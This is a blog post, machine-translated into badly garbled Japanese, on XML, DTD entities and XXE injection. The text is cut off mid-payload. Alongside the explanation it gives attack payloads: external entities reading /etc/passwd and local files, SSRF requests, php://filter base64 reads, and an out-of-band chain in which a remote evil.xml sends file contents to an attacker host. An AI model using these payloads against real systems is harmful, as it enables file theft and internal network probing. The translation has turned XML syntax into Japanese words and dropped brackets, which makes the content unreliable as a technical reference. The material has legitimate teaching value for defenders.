Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396905

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

### XMLおよびXXE泚入の基本

1.xml定矩

XMLは、次の3぀の郚分で構成されおいたす。぀たり、ドキュメントタむプ定矩DTD、぀たりXMLレむアりト蚀語。拡匵可胜なスタむル蚀語XSL、぀たりXMLスタむルのシヌト蚀語。および拡匵可胜なリンク蚀語XLL。

XML:暙準のナニバヌサルマヌクアップ蚀語のサブセットである拡匵可胜なマヌクアップ蚀語は、電子ファむルをマヌクしお構造的にするために䜿甚されるマヌクアップ蚀語です。 デヌタを保存するのではなくデヌタを送信および保存するように蚭蚈されおおり、拡匵可胜なマヌクアップ蚀語は、ハむパヌテキストマヌクアップ蚀語によく䌌たマヌクアップ蚀語です。その蚭蚈は、デヌタを送信するこずではなく、デヌタを送信するこずです。そのタグは事前に定矩されおいたせん。タグを自分で定矩する必芁がありたす。それは自己蚘述的であるように蚭蚈されおいたす。これは、W3Cに掚奚される暙準です。

拡匵可胜なマヌクアップ蚀語XMLおよびハむパヌテキストマヌクアップ蚀語HTMLは、さたざたな目的で蚭蚈されおいたす

デヌタのコンテンツに焊点を圓おお、デヌタを送信および保存するように蚭蚈されおいたす。

ハむパヌテキストマヌクアップ蚀語は、デヌタの倖芳に焊点を圓おたデヌタを衚瀺するように蚭蚈されおいたす

2。 XML

の圹割

XMLは、芁玠ず属性を䜿甚しおデヌタを説明したす。デヌタ転送䞭、XMLは垞に芪/子関係などのデヌタ構造を保持したす。いく぀かのアプリケヌションは、埓来の文字列の解析たたは分解プロセスなしで、同じXMLファむルを共有および解析できたす。それどころか、通垞のファむルは各デヌタセグメントを説明せずヘッダヌファむルを陀く、デヌタ関係構造を保持したせん。 XMLデヌタには、XMLデヌタに堎所通垞のファむルなどたたは芁玠名デヌタベヌスからを䜿甚しおアクセスできるため、デヌタ亀換にXMLを䜿甚するず、アプリケヌションがより柔軟になりたす。

XMLドキュメント構造には、XML宣蚀、DTDドキュメントタむプ定矩オプション、ドキュメント芁玠が含たれたす

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

 - ⬆xmlステヌトメント⬆ -

doctypeファむル名[

゚ンティティ゚ンティティ名「゚ンティティコンテンツ」

]

 - ⬆documentタむプ定矩dtd⬆ -

芁玠名カテゎリ='属性'

テキストたたはその他の芁玠

/芁玠名

 - ⬆documentelement⬆---

3.xml圢匏の説明

XMLは、電子ファむルをマヌクしお構造的にするために䜿甚されたす。デヌタをマヌクし、デヌタ型を定矩するために䜿甚できたす。これは、ナヌザヌが独自のマヌクアップ蚀語を定矩できる゜ヌス蚀語です。 XMLドキュメント構造には、XML宣蚀、DTDドキュメントタむプ定矩オプション、およびドキュメント芁玠が含たれたす。

tldpl03s03f8981.gif

DTDドキュメントタむプ定矩の圹割は、XMLドキュメントの法的ビルディングブロックを定矩するこずです。 DTDは、XMLドキュメントで宣蚀したり、倖郚で参照するこずもできたす。

1内郚ステヌトメントdtd

Doctypeルヌト芁玠[芁玠宣蚀]

2匕甚倖郚DTD

doctypeルヌト芁玠システム「ファむル名」たたは

doctype root element public 'public_id'

'ファむル名'

DTD゚ンティティは、通垞のテキストたたは特殊文字を参照するショヌトカットを定矩するために䜿甚される倉数であり、内郚たたは倖郚で宣蚀できたす。

3DTD゚ンティティ

l dtd

の圹割

DTDドキュメントタむプ定矩の関数は、XMLドキュメントの法的構成芁玠を定矩するこずです。 DTDは、XMLドキュメントで宣蚀したり、倖郚で参照されたりできたす。

倖郚゚ンティティは、XMLプロセッサが解析する必芁があるデヌタを指したす。耇数のドキュメント間で共有された公開参照を䜜成するのに圹立ちたす。倖郚゚ンティティに加えられた倉曎は、それぞの参照を含むドキュメントで自動的に曎新されたす。぀たり、XMLは倖郚゚ンティティを䜿甚しお情報たたは「コンテンツ」をXMLドキュメントの本文に自動的に抜出したす。これを行うには、XMLドキュメント内の倖郚゚ンティティを宣蚀する必芁がありたす

DTD゚ンティティは、通垞のテキストたたは特殊文字を参照するショヌトカットを定矩するために䜿甚される倉数であり、内郚たたは倖郚で宣蚀できたす。内郚的にその倀を決定できたす内郚サブセット

1

たたは倖郚゜ヌスから倖郚サブセット

2

システム識別子がそこにないこずに泚意しおください。この識別子は、゚ンティティが倖郚゜ヌス、この堎合は「Site.com」の䞋のペヌゞからコンテンツを取埗するこずを意味したす。

これらの゚ンティティを宣蚀するには、ドキュメントタむプ定矩DTDでそれを行う必芁がありたす。 DTDは、XMLのドキュメントタむプを定矩するために䜿甚されるタグ宣蚀のセットです。 XMLドキュメントの法的構造ブロックず、法的芁玠ず属性のリストを備えたドキュメント構造を定矩したす。 DTDは、XMLドキュメント内たたは倖郚参照宣蚀ずしお宣蚀できたす。システム識別子を䜿甚しお、解析可胜な堎所の別の宣蚀セットを指すこずができたす。゚ンティティはシステムキヌワヌドを䜿甚しお倖郚リ゜ヌスを呌び出すこずができたす。ここでは、HTTP;ファむルなどなどの倚くのプロトコルをサポヌトし、他のDOMノヌドでは:Testを䜿甚できたす。この゚ンティティのコンテンツを参照したす。

次に、解析されたXMLが補品機胜蚭蚈で倖偎によっお制埡されおいる堎合、ファむルの読み取り、DOS、CSRFなどの脆匱性を圢成する可胜性がありたす。

倖郚リ゜ヌスを参照する堎合は、さたざたなプロトコルを䜿甚できたす。いく぀かの䟋:

file: ///path/to/file.ext

http://url/file.ext

Php: //filter/read=convert.base64-encode/resource=conf.php

DTDのシステム識別子を持぀゚ンティティであるDTDの䟋を芋おみたしょう。

lbqa1rh54hn8984.gif

l内郚宣蚀゚ンティティ

DTD゚ンティティは、通垞のテキストたたは特殊文字を参照するショヌトカットを定矩するために䜿甚される倉数であり、内郚たたは倖郚で宣蚀できたす。

内郚゚ンティティステヌトメント

゚ンティティ゚ンティティ名「゚ンティティ倀」

䟋

DTD:

゚ンティティラむタヌ「私」

XML:

AuthorWriter;/著者

泚:゚ンティティは、3぀のパヌト:の合蚈番号、゚ンティティ名、およびセミコロン;で構成されおいたす。

l倖郚゚ンティティの匕甚

倖郚゚ンティティステヌトメント

゚ンティティ゚ンティティ名システム「uri/url」

たたは

゚ンティティ゚ンティティ名public_id '

「りリ」

䟋

DTD:

゚ンティティラむタヌシステム

'http://example.com/dtd/writer.dtd '

XML:

AuthorWriter;/著者

倖郚゚ンティティタむプにはありたす

xxe

4cdata

CDATAずは、XMLパヌサヌで解析されるべきではないテキストデヌタ未散垃されおいない文字デヌタを指したす。

XML芁玠では、「

新しい芁玠の始たりず ''キャラクタヌ゚ンティティの始たりは違法です。

JavaScriptコヌドなどの䞀郚のテキストには、倚数の「たたは」文字が含たれおいたす。゚ラヌを回避するために、スクリプトコヌドはCDATAずしお定矩できたす。

CDATAセクションのすべおは、パヌサヌによっお無芖されたす。

郚分的にcdata

'[cdata [' Starts、end by ']]'

4.xml゚ンティティ

XMLの゚ンティティは、次の5぀のタむプに分割されたす名前付き゚ンティティ、倖郚゚ンティティ、パラメヌタヌ゚ンティティ、内郚゚ンティティ、通垞の゚ンティティ、およびパラメヌタヌ゚ンティティはすべお、内郚゚ンティティず倖郚゚ンティティに分割されたす。倖郚゚ンティティの定矩は、システムキヌワヌドで远加する必芁があり、そのコンテンツはURLによっお指摘された倖郚ファむルの実際のコンテンツです。システムキヌワヌドが远加されおいない堎合、それは内郚゚ンティティであり、゚ンティティがコンテンツを文字列ずしお参照するこずを瀺したす。

1文字゚ンティティ

は、小数文字#aaa;たたは16進圢匏#xaaa;でナニコヌド文字を指定するこずを指したす。 XMLパヌサヌの堎合、文字゚ンティティは、指定された文字に盎接入力するこずずたったく同じです。

2名前付き゚ンティティ

内郚゚ンティティずも呌ばれ、DTDたたは内郚サブセットで宣蚀されおいる぀たり、ドキュメントのDoctypeステヌトメントの䞀郚、ドキュメントの参照ずしお䜿甚されたす。 XMLドキュメントの解析䞭、゚ンティティの参照はその衚珟に眮き換えられたす。

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

doctype any [

゚ンティティXXEシステム 'file: ///c: //test/1.txt']

valueExxe;/value

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

doctype any [

゚ンティティXXEシステム 'http://otherhost/xxxx.php']

valueExxe;/value

XXE+SSRFずしお䜿甚できたす

3倖郚゚ンティティ

倖郚゚ンティティは、システムキヌワヌドで衚される倖郚ファむルのコンテンツを衚したす。

゚ンティティテストシステム '1.xml'

䞀郚のXMLドキュメントには、システム識別子によっお定矩された「゚ンティティ」が含たれおおり、Doctypeヘッダヌタグにレンダリングされおいたす。これらの定矩された「゚ンティティ」は、ロヌカルたたはリモヌトコンテンツにアクセスできたす。たずえば、次のXMLドキュメントサンプルにはXML「゚ンティティ」が含たれおいたす。

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

doctype䜕でも[

Entity EntityEx System 'file: ///etc/passwd'

]

abcentityex;/abc

䞊蚘のコヌドでは、XML倖郚゚ンティティ「EntityEx」に割り圓おられた倀は、file: //etc/passwdです。 XMLドキュメントの解析䞭、゚ンティティ「EntityEx」の倀は、URIFile: //などコンテンツ倀぀たり、PassWDファむルのコンテンツに眮き換えられたす。キヌワヌド「システム」は、XMLパヌサヌに、「EntityEx」゚ンティティの倀がURIから読み取り、EntityExが衚瀺される読み取りコンテンツを眮き換えるこずを䌝えたす。

システムの背埌にあるコンテンツをナヌザヌが制埡できる堎合、ナヌザヌは自由に他のコンテンツに眮き換えるこずができ、サヌバヌロヌカルファむルfile: ///などたたはリモヌトファむルhttp://www.baidu.com/abc.txtを読み取るこずができたす。

4パラメヌタヌ゚ンティティ

パラメヌタヌ゚ンティティは、ドキュメントのDTDおよび内郚サブセットでのみ䜿甚されたす。 XMLの仕様定矩では、パラメヌタヌ゚ンティティはDTDでのみ参照できたす。パラメヌタヌ゚ンティティの宣蚀ず参照はすべお、パヌセントサむンに基づいおいたす。パラメヌタヌ゚ンティティぞの参照はDTDで理解され、解析され、眮換テキストはDTDの䞀郚になりたす。このタむプの゚ンティティは、「」文字たたは16進゚ンコヌドで宣蚀され、解析ず怜蚌埌のDTDのテキストたたはその他のコンテンツを眮き換えるためにのみ䜿甚されたす。

tbftfy5mdyn8986.gif

゚ンティティ゚ンティティ名「゚ンティティ」

たたは

゚ンティティ゚ンティティ名システム「URI」

パラメヌタヌ゚ンティティはDTDファむルでのみ参照でき、他の゚ンティティはXMLドキュメントで参照されたす。぀たり、次の䟋では、パラメヌタヌ゚ンティティはDoctype内にあり、他の゚ンティティは倖にありたす

doctype a [

entityname system "file: ///etc/passwd"

名前;

]

パラメヌタヌ゚ンティティは、内郚XML゚ンティティよりもDTDでより高い解析優先床を持っおいたす

゚ンティティは、nameに割り圓おられた倉数「file: ///etc/passwd」に盞圓したす

最初に簡単なXML䜿甚率コヌドを曞き、䟋:ずしおPHPを取りたす

php

$ data=

file_get_contents 'php: //input';

$ xml=

Simplexml_load_string$ data;

echo $ xml-name;



echo $ xml-name; -Nameは任意に倉曎できたす。

以䞋に瀺すように、

XML实䜓泚入挏掞的简单利甚和孊习 - Blackhair - Blackhair的博客

パラメヌタヌ゚ンティティの䟋

゚ンティティ゚ンティティ名「゚ンティティ倀」

xmlバヌゞョン='1.0'

encoding='utf-8'

doctype root [

゚ンティティparam1 '゚ンティティ

内郚'http://evil.com' '

param1;

]

æ ¹

テスト[これは私のサむトです]

内郚;/テスト

/æ ¹

のように

゚ンティティAAA

'233 '

パラメヌタヌ゚ンティティPARAM1には、テストタグの゚ンティティ参照パラメヌタヌを眮き換えるために䜿甚される内郚゚ンティティの宣蚀が含たれおいたす。

ここでは、プロセスに泚意を払う必芁がありたす。 DTDのパラメヌタヌ゚ンティティの解析は、XMLテキストでの内郚゚ンティティの解析よりも優先されたす。

パラメヌタヌ゚ンティティにはいく぀かの特性があり、これらの特性は、䜿甚できる皋床も決定したす。

l DTD内のみ

今匕甚しおください

l゚ンティティネスト

5内郚゚ンティティ

ビルトむン゚ンティティは、次のような予玄された゚ンティティです。

゚ンティティの匕甚文字

lt;

GT;

アンプ;

quot; '

アポス; '

内郚゚ンティティずは、1぀の゚ンティティ、぀たりネストされた定矩で定矩されおいる別の゚ンティティを指したす。

幞いなこずに、゚ンティティのネストの堎合に関しおは、DTDは奇数ず二重匕甚笊をサポヌトしおいるため、奇数ず二重匕甚の間隔を通じおネストされた゚ンティティず゚ンティティ間の関係を区別するために䜿甚できたす。実際に䜿甚するず、通垞、別のパラメヌタヌ゚ンティティをネストする必芁があり、番号を次のように凊理する必芁がありたす。

゚ンティティparam1

'entityxxeシステム' http://evil/logペむロヌド; ' '

「たた、16進数ずしお曞くこずができたす」

さらに内郚゚ンティティに察するこのサポヌトがむンタヌプリタヌに䟝存するかどうかは、リンク4を参照しおください

6゚ンティティの呜名 +倖郚゚ンティティラむティング

XMLバヌゞョン='1.0'゚ンコヌド='UTF-8'

doctype root [

゚ンティティDTDシステム 'http://LOCALHOST:88/EVIL.XML'

]

valuedtd;/value

この名前の゚ンティティは、倖郚゚ンティティを呌び出し、゚ンティティを邪悪な.xmlで定矩できないこずを発芋したす。そうしないず、解析できたせん。指定された゚ンティティは圹に立たないように感じ、パラメヌタヌ゚ンティティははるかに䜿いやすいように感じたす

7最初のタむプのネヌミング゚ンティティ +倖郚゚ンティティ +パラメヌタヌ゚ンティティラむティング

XMLバヌゞョン='1.0'゚ンコヌド='UTF-8'

doctypeデヌタ[

゚ンティティファむルシステム 'file: ///c: //test/1.txt'

゚ンティティDTDシステム 'http://LOCALHOST:88/EVIL.XML'

DTD; 党お;

]

ValueEnd;/value

Evil.xmlファむルのコンテンツはです

゚ンティティall '゚ンティティはシステムを送信したすhttp://LOCALHOST:88ファむル;' '

呌び出しプロセスは次のずおりです。パラメヌタヌ゚ンティティDTDは、倖郚゚ンティティのvily.xmlを呌び出しおから、パラメヌタヌ゚ンティティをすべお呌び出しおから、名前付き゚ンティティ送信を呌び出したす

8ネヌミング゚ンティティ +倖郚゚ンティティ +パラメヌタヌ゚ンティティラむティングの2番目のタむプ

XMLバヌゞョン='1.0'゚ンコヌド='UTF-8'

doctype root [

゚ンティティファむルシステム 'Php: //filter/convert.base64-encode/resource=c:/test/1.txt'

゚ンティティDTDシステム 'http://LOCALHOST:88/EVIL.XML'

DTD;

送信;

]

ルヌト/ルヌト

Evil.xmlファむルのコンテンツは次のずおりです。

゚ンティティペむロヌド '゚ンティティx25;システム 'http://LocalHost:88/content=file;' 'ペむロヌド;

コヌルプロセスは、最初の方法に䌌おいたす

5。 XML

のプロトコルサポヌト

di0c54np0mk8988.gif

䞊蚘の写真は、デフォルトのサポヌトプロトコルを瀺しおおり、サポヌトされおいるPHPなどの他の拡匵プロトコルもサポヌトできたす。

6.xxeむンゞェクションの定矩

XXE泚入、぀たりXML倖郚゚ンティティ、XML倖郚゚ンティティ泚入。 XML゚ンティティを介しお、「システム」キヌワヌドにより、XMLパヌサヌはロヌカルファむルたたはリモヌトURIからデヌタを読み取りたす。したがっお、攻撃者はXML゚ンティティを介しお構築した悪意のある䟡倀を枡すこずができ、ハンドラヌはそれを解析したす。倖郚の゚ンティティを参照する堎合、悪意のあるコンテンツを構築するこずにより、任意のファむルの読み取り、システムコマンドの実行、むントラネットポヌトの怜出、むントラネットのWebサむトの攻撃などの危険に぀ながる可胜性がありたす。

1぀たたは耇数のXMLドキュメントで特定のデヌタを頻繁に䜿甚する゚ンティティ゚ンティティは、このデヌタ、぀たり゚ンティティの「゚むリアス」を事前に定矩し、これらのドキュメントでデヌタが必芁な堎所でそれを呌び出すこずができたす。 XMLは、XMLドキュメントで䜿甚される2぀のタむプの゚ンティティを定矩したす

PHPで、libxml_disable_entity_loaderをTrueに蚭定するず、倖郚゚ンティティの泚釈が無効になりたす。 DTDファむルに䜿甚する別のパラメヌタヌを入力したす。゚ンティティ定矩構文

doctypeファむル名[

゚ンティティ゚ンティティ名「゚ンティティコンテンツ」

]

定矩された゚ンティティは、「゚ンティティ名」を介しおドキュメントで䜿甚されたす。䟋えば

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

doctypeブックリスト[

゚ンティティパブリッシャヌ「ABC Company」

]

ブックリスト

本

nameajax/name

䟡栌$ 5.95/䟡栌

ajax./descriptionの説明

PublisherPublisher;/Publisherここの出版瀟は「ABC Company」に眮き換えられたす

/本

本

nameajaxパタヌン/名前

䟡栌$ 7.95/䟡栌

説明ajax patterns./descriptionの導入

PublisherPublisher;/Publisherここの出版瀟は「ABC Company」に眮き換えられたす

/本

/ブックリスト

XMLには5぀の事前定矩された゚ンティティ参照がありたす。

lt;

未満

GT;

より倧きい

アンプ;

ず番号

アポス;

'

省略蚘号

quot;

'

匕甚笊

泚厳密に蚀えば、XMLにキャラクタヌず ''のみを持぀こずは違法です。 Ellipsis、匕甚、および法的よりも倧きいが、それらを゚ンティティ参照に眮き換えるこずは良い習慣です。

7.xxe脆匱性原理

XMLは倖郚からDTDファむルを読み取るこずができるため、パスを別のファむルのパスに眮き換えるず、サヌバヌはXMLを解析するずきにシステムの前にそのファむルのコンテンツをルヌト芁玠に割り圓おるず考えたした。 XMLに衚瀺する前にルヌト芁玠のコンテンツを蚱可する限り、そのファむルのコンテンツを読むこずができたす。これにより、任意のファむルを読み取る脆匱性が䜜成されたす。

むントラネットホストのポヌトを指しおいる堎合はどうなりたすか゚ラヌメッセヌゞが指定されるかどうかにかかわらず、むントラネットホストのポヌトが゚ラヌメッセヌゞから開いおいるかどうかを刀断できたす。これにより、内郚ポヌトが怜出される問題が䜜成されたす。さらに、䞀般的に蚀えば、サヌバヌがXMLを解析する2぀の方法がありたす。 1぀は、解析のために䞀床にXML党䜓をメモリにロヌドするこずです。もう1぀は、パヌツを「ストリヌミング」郚分でロヌドしお解析するこずです。 XML定矩を再垰的に呌び出しお膚倧な量の定矩を䞀床に呌び出すず、サヌバヌのメモリが消費され、サヌビス攻撃の拒吊が生じたす。

### XML泚入の簡単な利甚

ロヌカルXMLむンタヌフェむスを構築し、最初にロヌカルXMLファむルを含め、リタヌン結果を衚瀺し、次に通垞の返品埌にサヌバヌに眮き換えたす。

1。ファむルを読む

次のようにペむロヌド:

xmlバヌゞョン='1.0'゚ンコヌド='utf-8'

doctype xxe [

芁玠名任意

゚ンティティXXEシステム 'File: ///D: //PHPSTUDY //www //aa。